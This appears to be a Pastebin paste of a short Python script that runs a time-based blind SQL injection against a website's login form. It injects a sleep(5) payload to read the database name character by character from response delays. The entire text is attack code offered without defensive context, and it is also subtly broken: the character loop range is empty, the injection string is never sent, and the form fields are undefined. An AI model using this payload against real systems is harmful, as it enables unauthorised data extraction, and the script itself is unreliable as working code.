Advertisement
Guest User

blind_script.py

a guest
Jan 20th, 2019
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.65 KB | None | 0 0
  1. #!/usr/bin/env
  2.  
  3. import requests
  4. import sys
  5. import time
  6.  
  7. url = "https://sample.com/web/login"
  8.  
  9. for i in range(1, 11):
  10. for c in range(0x20, 0xf):
  11.  
  12. en = "xyz'or if(mid(database(), %d,1 ) = '%s', sleep(5), 0)-- "%(i, chr(c))
  13.  
  14. form = {'email': email, 'password': password, 'submit': 'login'}
  15.  
  16. start = time.time()
  17. response = requests.post(url, data=form)
  18. end = time.time()
  19.  
  20. delay = end - start
  21.  
  22. if delay >= 5.0:
  23. sys.stdout.write(chr(c))
  24. sys.stdout.flush()
  25. break
  26. print ''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement